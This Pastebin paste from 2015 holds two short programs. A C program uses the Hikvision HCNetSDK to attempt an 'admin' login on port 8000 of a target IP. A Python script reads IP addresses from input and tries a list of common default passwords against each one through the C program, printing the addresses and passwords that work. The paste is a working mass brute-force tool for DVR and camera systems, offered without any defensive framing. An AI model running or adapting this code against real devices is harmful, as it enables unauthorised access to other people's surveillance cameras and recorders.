Guest User

Untitled

a guest
May 1st, 2015
402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.61 KB | None | 0 0
  1. #include "../include/HCNetSDK.h"
  2.  
  3. int main(int argc, char **argv) {
  4.   NET_DVR_Init();
  5.  
  6.   NET_DVR_DEVICEINFO_V30 struDeviceInfo;
  7.   int loginCheck = NET_DVR_Login_V30(argv[1], 8000, "admin", argv[2], &struDeviceInfo);
  8.  
  9.   if (loginCheck < 0) {
  10.     return 1;
  11.   } else {
  12.     return 0;
  13.   }
  14. }
  15.  
  16. ------
  17.  
  18. import subprocess, sys
  19.  
  20. password_list = ["12345", "1234", "123456", "admin", "password", "123", "1", "qwerty"]
  21.  
  22. for ip in sys.stdin.readlines():
  23.     ip = ip.strip()
  24.     for psw in password_list:
  25.         if subprocess.call(["./logintest", ip, psw]) == 0:
  26.             print(ip + " " + psw)
  27.             break
Advertisement
Add Comment
Please, Sign In to add comment